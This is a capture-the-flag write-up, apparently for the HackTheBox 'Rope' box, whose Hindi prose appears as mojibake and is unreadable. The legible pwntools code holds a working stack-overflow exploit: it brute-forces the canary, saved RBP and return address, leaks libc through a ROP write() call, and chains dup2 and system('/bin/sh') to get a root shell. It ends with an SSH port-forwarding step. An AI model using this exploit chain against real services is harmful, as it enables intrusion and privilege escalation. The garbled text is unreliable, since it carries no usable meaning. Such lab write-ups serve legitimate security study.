рдЫрд╡рд┐

рд╕рднреА рдХреЛ рдЕрдзрд┐рдХрддрдо рдпрд╣реА рд╣реИ, рдЕрдЧрд░ рд╣рдо рдПрдХ рдмрдлрд░ рдЕрддрд┐рдкреНрд░рд╡рд╛рд╣ рдкрд╛рддреЗ рд╣реИрдВ, рддреЛ рд╣рдореЗрдВ рдХреИрдирд░реА (рдорд╛рди рдХреЛ рдмрдлрд░ рдХреА рдЕрдЦрдВрдбрддрд╛ рдХреА рдЬрд╛рдВрдЪ рдХрд░рдиреЗ рдХреЗ рд▓рд┐рдП рдлрд╝рдВрдХреНрд╢рди рд╕реЗ рдмрд╛рд╣рд░ рдирд┐рдХрд▓рдиреЗ рд╕реЗ рдкрд╣рд▓реЗ рдЬрд╛рдВрдЪ рдХреА рдЬрд╛рддреА рд╣реИ) рдХреЛ рднрдВрдЧ рдХрд░рдиреЗ рдХреА рдЖрд╡рд╢реНрдпрдХрддрд╛ рд╣реЛрдЧреА, рдФрд░ рднреЗрджреНрдпрддрд╛ рдХреЗ рджреЛрд╣рди рдХреЗ рд▓рд┐рдП рдПрдХ рддрдХрдиреАрдХ рдХреЗ рд░реВрдк рдореЗрдВ, рд╣рдо рдЖрд░рдУрдкреА рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░реЗрдВрдЧреЗ (рдЬрд┐рд╕рдХреЗ рдмрд╛рд░реЗ рдореЗрдВ рдореИрдВрдиреЗ рдХреБрдЫ рд╡рд┐рд╕реНрддрд╛рд░ рд╕реЗ рд▓рд┐рдЦрд╛ рдерд╛)рдпрд╣рд╛рдБ )ред рдЖрдЗрдП рдХрд┐рд╕реА рднреА рдбрд┐рд╕реНрдореЗрдореНрдмрд▓рд░ рдХреЗ рд╕рд╛рде рдкреНрд░реЛрдЧреНрд░рд╛рдо рдХреЛ рдЦреЛрд▓реЗрдВ рдЬреЛ рдХрд┐ рдЖрдкрдХреЗ рд▓рд┐рдП рд╕реБрд╡рд┐рдзрд╛рдЬрдирдХ рд╣реИ (рдореИрдВ рдЖрдИрдбреАрдП рдкреНрд░реЛ рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░рддрд╛ рд╣реВрдВ)ред рд╣рдо рдореБрдЦреНрдп рдлрд╝рдВрдХреНрд╢рди рдХреЛ рдореБрдЦреНрдп рд░реВрдк рд╕реЗ рд╡рд┐рдШрдЯрд┐рдд рдХрд░рддреЗ рд╣реИрдВред

рдЫрд╡рд┐

рдХреИрдирд░реА рдХрд╛ рдПрдХ рдЙрджрд╛рд╣рд░рдг рдЪрд░ v10 рд╣реИ, рдЬреЛ рдПрдХ рдлрд╝рдВрдХреНрд╢рди рдХреА рд╢реБрд░реБрдЖрдд рдореЗрдВ рд╕реЗрдЯ рдХрд┐рдпрд╛ рдЧрдпрд╛ рд╣реИред рдЖрдЗрдП рджреЗрдЦреЗрдВ рдХрд┐ рд╕рдм_1267 рдлрд╝рдВрдХреНрд╢рди рдХрд┐рд╕рдХреЗ рд▓рд┐рдП рдЬрд┐рдореНрдореЗрджрд╛рд░ рд╣реИред

рдЫрд╡рд┐

рддреЛ рдпрд╣рд╛рдВ рд╣рдо рд╕реБрдирдиреЗ рдХреЗ рд▓рд┐рдП рдкреЛрд░реНрдЯ рдЦреЛрд▓рддреЗ рд╣реИрдВред рдЖрдк рдЗрд╕рдХрд╛ рдирд╛рдо рдмрджрд▓рдХрд░ is_listen () рдХрд░ рд╕рдХрддреЗ рд╣реИрдВ; рд╣рдо рдФрд░ рдЖрдЧреЗ рдмрдврд╝рддреЗ рд╣реИрдВред рдирд┐рдореНрдирд▓рд┐рдЦрд┐рдд рдЙрдкрдпреЛрдЧрдХрд░реНрддрд╛-рдкрд░рд┐рднрд╛рд╖рд┐рдд рдлрд╝рдВрдХреНрд╢рди sub_14EE рд╣реИред

рдЫрд╡рд┐

рднреЗрдЬрдиреЗ рд╕реЗ рдкрд╣рд▓реЗ, рдПрдХ рдЕрдиреНрдп рдЙрдкрдпреЛрдЧрдХрд░реНрддрд╛ рдлрд╝рдВрдХреНрд╢рди рд╣реИред рд╣рдо рдЙрд╕рдХреА рддрд░рдл рджреЗрдЦрддреЗ рд╣реИрдВред

рдЫрд╡рд┐

рдЗрд╕ рдкреНрд░рдХрд╛рд░, рдЗрд╕ рдлрд╝рдВрдХреНрд╢рди рдореЗрдВ, 0x400 рдмрд╛рдЗрдЯ рддрдХ рдХреА рдПрдХ рд╕реНрдЯреНрд░рд┐рдВрдЧ рдкреНрд░рд╛рдкреНрдд рдХреА рдЬрд╛рддреА рд╣реИ рдФрд░ рдмрдлрд░ рдХреЛ рд▓рд┐рдЦрд╛ рдЬрд╛рддрд╛ рд╣реИред Buf рд╡реИрд░рд┐рдПрдмрд▓ рдкрд░ рдЯрд┐рдкреНрдкрдгреА рдореМрдЬреВрджрд╛ рд╕реНрдЯреИрдХ рдлреНрд░реЗрдо (рдЖрд░рдмреАрдкреА) рдХреЗ рдЖрдзрд╛рд░ рдХреЗ рд╕рд╛рдкреЗрдХреНрд╖ рдкрддреЗ рдХреЛ рдЗрдВрдЧрд┐рдд рдХрд░рддреА рд╣реИ - [rbp-40h], рдФрд░ рд╡реЗрд░рд┐рдПрдмрд▓ v3 (рдХреИрдирд░реА) рдХрд╛ рдПрдХ рд░рд┐рд╢реНрддреЗрджрд╛рд░ рдкрддрд╛ [rbp-8h] рд╣реИ, рдЗрд╕рд▓рд┐рдП рдмрдлрд░ рдУрд╡рд░рдлреНрд▓реЛ рдХреЗ рд▓рд┐рдП рд╣рдореЗрдВ рдЕрдзрд┐рдХ [rbp- рдХреА рдЖрд╡рд╢реНрдпрдХрддрд╛ рд╣реИ] 8h] - [rbp-40h] = 0x40-8 = 56 рдмрд╛рдЗрдЯреНрд╕ред

рдЗрд╕ рдкреНрд░рдХрд╛рд░, рдпреЛрдЬрдирд╛ рдЗрд╕ рдкреНрд░рдХрд╛рд░ рд╣реИ:

  1. рдмрдлрд╝рд░ рдвреВрдВрдвреЗрдВ рдФрд░ рдУрд╡рд░рдлрд╝реНрд▓реЛ рдХрд░реЗрдВ;
  2. рдХреИрдирд░реА, рдЖрд░рдмреАрдкреА рдФрд░ рдЪреАрд░ рдиреАрдЪреЗ рд░рдЦреЛ;
  3. рдЪреВрдВрдХрд┐ рдкрд╛рдИ рд╕рдХреНрд░рд┐рдп рд╣реИ, рдЖрдкрдХреЛ рд╡рд╛рд╕реНрддрд╡рд┐рдХ рдСрдлрд╕реЗрдЯ рдЦреЛрдЬрдиреЗ рдХреА рдЖрд╡рд╢реНрдпрдХрддрд╛ рд╣реИ;
  4. рдЙрд╕ рдкрддреЗ рдХреА рдЧрдгрдирд╛ рдХрд░рдиреЗ рдХреЗ рд▓рд┐рдП рдПрдХ рд╕реНрдореГрддрд┐ рд░рд┐рд╕рд╛рд╡ рдвреВрдВрдвреЗрдВ рдЬрд┐рд╕ рдкрд░ рдкреБрд╕реНрддрдХрд╛рд▓рдп рд▓реЛрдб рд╣реИ;
  5. рдЖрд░рдУрдкреА рд▓реАрдЬрд┐рдП, рдЬрд┐рд╕рдореЗрдВ рдорд╛рдирдХ рдбрд┐рд╕реНрдХреНрд░рд┐рдкреНрдЯрд░ рдХреА рдзрд╛рд░рд╛ рдХреЛ рдкреНрд░реЛрдЧреНрд░рд╛рдо рдХреЗ рдиреЗрдЯрд╡рд░реНрдХ рдбрд┐рд╕реНрдХреНрд░рд┐рдкреНрдЯрд░ рдкрд░ рдкреБрдирд░реНрдирд┐рд░реНрджреЗрд╢рд┐рдд рдХрд┐рдпрд╛ рдЬрд╛рдПрдЧрд╛, рдФрд░ рдлрд┐рд░ рд╕рд┐рд╕реНрдЯрдо рдлрд╝рдВрдХреНрд╢рди рдХреЗ рдорд╛рдзреНрдпрдо рд╕реЗ рдХреЙрд▓ / рдмрд┐рди / рд╢ред

1. рдмрдлрд░ рдЕрддрд┐рдкреНрд░рд╡рд╛рд╣


рдЬреИрд╕рд╛ рдХрд┐ рдиреАрдЪреЗ рджреЗрдЦрд╛ рдЬрд╛ рд╕рдХрддрд╛ рд╣реИ, рдЬрдм 56 рдмрд╛рдЗрдЯреНрд╕ рдЯреНрд░рд╛рдВрд╕рдорд┐рдЯ рдХрд░рддреЗ рд╣реИрдВ, рддреЛ рдкреНрд░реЛрдЧреНрд░рд╛рдо рд╕рд╛рдорд╛рдиреНрдп рд░реВрдк рд╕реЗ рдХрд╛рдо рдХрд░рдирд╛ рдЬрд╛рд░реА рд░рдЦрддрд╛ рд╣реИ, рд▓реЗрдХрд┐рди 57 рдмрд╛рдЗрдЯреНрд╕ рдЯреНрд░рд╛рдВрд╕рдорд┐рдЯ рдХрд░рддреЗ рд╣реБрдП, рд╣рдореЗрдВ рдПрдХ рдЕрдкрд╡рд╛рдж рдорд┐рд▓рддрд╛ рд╣реИред рдЗрд╕ рдкреНрд░рдХрд╛рд░, рдмрдлрд░ рдХреА рдЕрдЦрдВрдбрддрд╛ рдХрд╛ рдЙрд▓реНрд▓рдВрдШрди рдХрд┐рдпрд╛ рдЬрд╛рддрд╛ рд╣реИред

рдЫрд╡рд┐

рдЪрд▓реЛ рдПрдХ рд╢реЛрд╖рдг рдЯреЗрдореНрдкрд▓реЗрдЯ рдмрдирд╛рддреЗ рд╣реИрдВред рдЪреВрдБрдХрд┐ рдЗрд╕рдХреЗ рдорд╛рдзреНрдпрдо рд╕реЗ рдЫрд╛рдБрдЯрдирд╛ рдФрд░ рдлрд┐рд░ рд╕реЗ рдЬреЛрдбрд╝рдирд╛ рдЖрд╡рд╢реНрдпрдХ рд╣реЛрдЧрд╛, рдЗрд╕рд▓рд┐рдП рд╣рдо pwntools (log_level) рд╕рдВрджреЗрд╢реЛрдВ рдХреЗ рдЖрдЙрдЯрдкреБрдЯ рдХреЛ рдЕрдХреНрд╖рдо рдХрд░ рджреЗрдВрдЧреЗред

#!/usr/bin/python3
from pwn import *

HOST = '127.0.0.1'
PORT = 1337
context(os = "linux", arch = "amd64", log_level='error')

pre_payload = "A" * 56

r = remote(HOST, PORT)

context.log_level='info'
r.interactive()

2. рдХрд░рд╛рд░реА, рдЖрд░рдмреАрдкреА, рдЖрд░рдЖрдИрдкреА


рдЬреИрд╕рд╛ рдХрд┐ рд╣рдордиреЗ рдкрддрд╛ рд▓рдЧрд╛рдпрд╛, рдмрдлрд░ рдХреЗ 56 рдмрд╛рдЗрдЯреНрд╕ рдХреЗ рдмрд╛рдж рдПрдХ рдХреИрдирд░реА рд╣реИ, рдФрд░ рдЗрд╕рдХреЗ рдмрд╛рдж рд╕реНрдЯреИрдХ рдкрд░ рдЖрд░рдмреАрдкреА рдФрд░ рдЖрд░рдЖрдИрдкреА рдкрддреЗ рд╣реИрдВ, рдЬрд┐рдиреНрд╣реЗрдВ рднреА рд╣рд▓ рдХрд░рдирд╛ рд╣реЛрдЧрд╛ред рдПрдХ 8 рдмрд╛рдЗрдЯ рдореИрдЪрд┐рдВрдЧ рдлрдВрдХреНрд╢рди рд▓рд┐рдЦрддреЗ рд╣реИрдВред

def qword_brute(pre_payload, item):
    qword_ = b""
    while len(qword_) < 8:
        for b in range(256):
            byte = bytes([b])
            try:
                r = remote(HOST, PORT)
                print(f"{item} find: {(qword_ + byte).hex()}", end=u"\u001b[1000D")
                send_ = pre_payload + qword_ + byte
                r.sendafter(b"admin:", send_)
                if b"Done" not in r.recvall(timeout=5):
                    raise EOFError
                r.close()
                qword_ += byte
                break
            except EOFError as error:
                r.close()
    context.log_level='info'            
    log.success(f"{item} found: {hex(u64(qword_))}")
    context.log_level='error' 
    return qword_

рддреЛ рд╣рдо pre_payload рд▓рд┐рдЦ рд╕рдХрддреЗ рд╣реИрдВ:

pre_payload = b"A" * 56
CANARY = qword_brute(pre_payload, "CANARY")
pre_payload += CANARY
RBP = qword_brute(pre_payload, "RBP")
pre_payload += RBP
RIP = qword_brute(pre_payload, "RIP")

3.PIE


рдЕрдм рд╣рдо PIE рд╕реЗ рдирд┐рдкрдЯрддреЗ рд╣реИрдВред рд╣рдордиреЗ RIP рдкрд╛рдпрд╛ - рдпрд╣ рд╡рд╣ рд╡рд╛рдкрд╕реА рдкрддрд╛ рд╣реИ рдЬрд╣рд╛рдБ рд╣рдо рдлрд╝рдВрдХреНрд╢рди рд╕реЗ рд▓реМрдЯрддреЗ рд╣реИрдВред рдЗрд╕ рдкреНрд░рдХрд╛рд░, рд╣рдо рдЗрд╕реЗ рдХреЛрдб рдореЗрдВ рд░рд┐рдЯрд░реНрди рдПрдбреНрд░реЗрд╕ рд╕реЗ рдШрдЯрд╛ рд╕рдХрддреЗ рд╣реИрдВред

рдЫрд╡рд┐

рдЗрд╕ рдкреНрд░рдХрд╛рд░, рдЖрдзрд╛рд░ рд╕реЗ рдСрдлрд╕реЗрдЯ 0x1562 рд╣реИред рдЪрд▓рд┐рдП рдПрдкреНрд▓рд┐рдХреЗрд╢рди рдХреЗ рд╡рд╛рд╕реНрддрд╡рд┐рдХ рдкрддреЗ рдХрд╛ рд╕рдВрдХреЗрдд рджреЗрддреЗ рд╣реИрдВред

base_binary = u64(RIP) - 0x1562
binary = ELF('./contact')
binary.address = base_binary
libc = ELF('./libc.so.6')

4. рд╕реНрдореГрддрд┐ рд░рд┐рд╕рд╛рд╡


рдкреНрд░реЙрдореНрдкреНрдЯ рд╕реНрдЯреНрд░рд┐рдВрдЧ рдХреЛ рдкреНрд░рджрд░реНрд╢рд┐рдд рдХрд░рдиреЗ рдХреЗ рд▓рд┐рдП рдПрдкреНрд▓рд┐рдХреЗрд╢рди рдорд╛рдирдХ рд░рд╛рдЗрдЯ () рдлрд╝рдВрдХреНрд╢рди рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░рддрд╛ рд╣реИ, рдЬреЛ рдЖрдЙрдЯрдкреБрдЯ, рдПрдХ рдмрдлрд░ рдФрд░ рдЗрд╕рдХреЗ рдЖрдХрд╛рд░ рдХреЛ рд╕рдВрднрд╛рд▓рддрд╛ рд╣реИред рд╣рдо рдЗрд╕ рдлрд╝рдВрдХреНрд╢рди рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░ рд╕рдХрддреЗ рд╣реИрдВред

рд╕реБрд╡рд┐рдзрд╛ рдХреЗ рд▓рд┐рдП, рдЖрдЗрдП pwntools рд╕реЗ ROP рдореЙрдбреНрдпреВрд▓ рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░реЗрдВред рд╕рдВрдХреНрд╖реЗрдк рдореЗрдВ, рдпрд╣ рдХреИрд╕реЗ рдФрд░ рдХреНрдпреЛрдВ рдиреАрдЪреЗ рджреА рдЧрдИ рдЫрд╡рд┐ рдореЗрдВ рдкреНрд░рд╕реНрддреБрдд рдХрд┐рдпрд╛ рдЧрдпрд╛ рд╣реИред

рдЫрд╡рд┐

рдЪрд▓реЛ рдПрдХ рд░рд┐рд╕рд╛рд╡ рдорд┐рд▓рддрд╛ рд╣реИ, рдЗрд╕рд╕реЗ рд╣рдореЗрдВ рдкрддрд╛ рдЪрд▓ рдЬрд╛рдПрдЧрд╛ рдХрд┐ рд▓реЛрдб рдХрд┐рдП рдЧрдП рдкрд░рд┐рд╡рд╛рдж рдкреБрд╕реНрддрдХрд╛рд▓рдп рдореЗрдВ рд▓реЗрдЦрди рд╕рдорд╛рд░реЛрд╣ рдХреНрдпрд╛ рд╣реИред

rop_binary = ROP(binary)
rop_binary.write(0x4, binary.got['write'], 0x8)
send_leak = pre_payload + flat(rop_binary.build())

r = remote(HOST, PORT)
r.sendafter(b"admin:", send_leak)
leak = r.recvall().strip().ljust(8, b'\x00')
print(f"Leak: {hex(u64(leak))}")
base_libc = leak - libc.symbols['write']

5.ROP


рдЖрдЗрдП, libc рд▓рд╛рдЗрдмреНрд░реЗрд░реА рдХрд╛ рдЖрдзрд╛рд░ рдкрддрд╛ рдмрджрд▓реЗрдВ рдФрд░ рд▓рд╛рдЗрди / рдмрд┐рди / рд╢ рдХрд╛ рдкрддрд╛ рд▓рдЧрд╛рдПрдВред

libc.address = base_libc
shell_address = next(libc.search(b"/bin/sh\x00"))

рдпрд╣ рдЖрд░рдУрдкреА рдХреЛ рдЗрдХрдЯреНрдард╛ рдХрд░рдиреЗ рдХреЗ рд▓рд┐рдП рдмрдирд╛ рд╣реБрдЖ рд╣реИ, рдЬрд┐рд╕рдореЗрдВ рдорд╛рдирдХ I / O рд╡рд┐рд╡рд░рдгрдХрд░реНрддрд╛ (0,1,2) рдХреЛ рдкреНрд░реЛрдЧреНрд░рд╛рдо (4) рдореЗрдВ рдкрдВрдЬреАрдХреГрдд рд╡рд░реНрдгрдирдХрд░реНрддрд╛ рдкрд░ рдкреБрдирд░реНрдирд┐рд░реНрджреЗрд╢рд┐рдд рдХрд┐рдпрд╛ рдЬрд╛рдПрдЧрд╛ред рдЬрд┐рд╕рдХреЗ рдмрд╛рдж рд╕рд┐рд╕реНрдЯрдо рдлрд╝рдВрдХреНрд╢рди рдХреЛ рдмреБрд▓рд╛рдпрд╛ рдЬрд╛рдПрдЧрд╛, рдЬрд╣рд╛рдВ рд╣рдо рд▓рд╛рдЗрди / рдмрд┐рди / рд╢ рдХреЗ рдкрддреЗ рдХреЛ рдкрд╛рд╕ рдХрд░реЗрдВрдЧреЗред

rop_libc = ROP(libc)
rop_libc.dup2(4, 0)
rop_libc.dup2(4, 1)
rop_libc.dup2(4, 2)
rop_libc.system(shell_address)

payload = pre_payload + flat(rop_libc.build())

r = remote(HOST, PORT)
r.sendafter(b"admin:", payload)
time.sleep(2)
r.sendline(b"id")

6. рдСрдкрд░реЗрд╢рди
рдкреВрд░реНрдг рд╢реЛрд╖рдг рдХреЛрдбред

рдЫрд╡рд┐

рдЕрдм рд╕рд░реНрд╡рд░ рдкрд░, ssh рдХреБрдВрдЬреА рдХреЛ рдлрд╛рдЗрд▓ /home/r4j/.ssh/authorizef_keys рдкрд░ рд▓рд┐рдЦреЗрдВред

рдЫрд╡рд┐

рдФрд░ рдкреЛрд░реНрдЯ рдХреЛ рдЕрдЧреНрд░реЗрд╖рд┐рдд рдХрд░реЗрдВ (рд╕реБрдирд┐рд╢реНрдЪрд┐рдд рдХрд░реЗрдВ рдХрд┐ рд╕реНрдерд╛рдиреАрдп рдкреЛрд░реНрдЯ 1337 рд╕реЗ рдХрдиреЗрдХреНрд╢рди рдХреЛ SSH рдХреЗ рдорд╛рдзреНрдпрдо рд╕реЗ рджреВрд░рд╕реНрде рд╣реЛрд╕реНрдЯ рдХреЗ рдкреЛрд░реНрдЯ 1337 рдкрд░ рдкреБрдирд░реНрдирд┐рд░реНрджреЗрд╢рд┐рдд рдХрд┐рдпрд╛ рдЧрдпрд╛ рд╣реИ)ред

ssh -L 1337:127.0.0.1:1337 -i id_rsa r4j@rope.htb

рдФрд░ рд╢реЛрд╖рдг рдХреЛ рд▓реЙрдиреНрдЪ рдХрд░реЗрдВред

рдЫрд╡рд┐

рд╣рдо рдЬрдбрд╝ рдХреЗ рдиреАрдЪреЗ рдХрд╛рдо рдХрд░рддреЗ рд╣реИрдВред

рдЖрдк рд╣рдорд╕реЗ рдЯреЗрд▓реАрдЧреНрд░рд╛рдо рдкрд░ рдЬреБрдбрд╝ рд╕рдХрддреЗ рд╣реИрдВ ред рд╡рд╣рд╛рдВ рдЖрдк рджрд┐рд▓рдЪрд╕реНрдк рд╕рд╛рдордЧреНрд░реА, рдорд░реНрдЬ рдХрд┐рдП рдЧрдП рдкрд╛рдареНрдпрдХреНрд░рдо, рд╕рд╛рде рд╣реА рд╕реЙрдлрд╝реНрдЯрд╡реЗрдпрд░ рдкрд╛ рд╕рдХрддреЗ рд╣реИрдВред рдЖрдЗрдП рдПрдХ рд╕рдореБрджрд╛рдп рдХреЛ рдПрдХ рд╕рд╛рде рд░рдЦреЗрдВ рдЬрд┐рд╕рдореЗрдВ рдРрд╕реЗ рд▓реЛрдЧ рд╣реЛрдВрдЧреЗ рдЬреЛ рдЖрдИрдЯреА рдХреЗ рдХрдИ рдХреНрд╖реЗрддреНрд░реЛрдВ рдореЗрдВ рдкрд╛рд░рдВрдЧрдд рд╣реИрдВ, рдлрд┐рд░ рд╣рдо рд╣рдореЗрд╢рд╛ рдХрд┐рд╕реА рднреА рдЖрдИрдЯреА рдФрд░ рд╕реВрдЪрдирд╛ рд╕реБрд░рдХреНрд╖рд╛ рдореБрджреНрджреЛрдВ рдкрд░ рдПрдХ рджреВрд╕рд░реЗ рдХреА рдорджрдж рдХрд░ рд╕рдХрддреЗ рд╣реИрдВред

All Articles